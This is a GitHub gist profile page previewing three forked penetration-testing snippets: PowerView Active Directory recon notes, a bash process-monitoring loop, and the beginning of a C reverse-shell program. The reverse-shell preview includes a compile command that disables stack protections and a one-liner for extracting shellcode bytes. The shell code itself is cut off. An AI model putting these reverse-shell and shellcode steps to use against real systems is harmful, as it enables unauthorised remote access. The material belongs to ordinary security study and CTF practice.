Skip to content

Instantly share code, notes, and snippets.

View padovah4ck's full-sized avatar

chris padovah4ck

View GitHub Profile
@padovah4ck
padovah4ck / PowerView-3.0-tricks.ps1
Created July 6, 2018 08:43 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
@padovah4ck
padovah4ck / cronmonit.sh
Created June 28, 2018 15:56 — forked from jsvazic/gist:8fe9dde369f6396f65a1aa795dd77744
ippsec process monitor script
#!/bin/bash
# Loop by line
IFS=$'\n'
old_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0)
while true; do
new_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0)
diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
@padovah4ck
padovah4ck / reverse_shell.c
Last active June 22, 2018 10:52 — forked from 0xabe-io/reverse_shell.c
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
//
// gcc reverse_shell.c -fno-stack-protector -Os -z execstack -no-pie -o shellcode
// for i in `objdump -d ./shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done ; echo
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>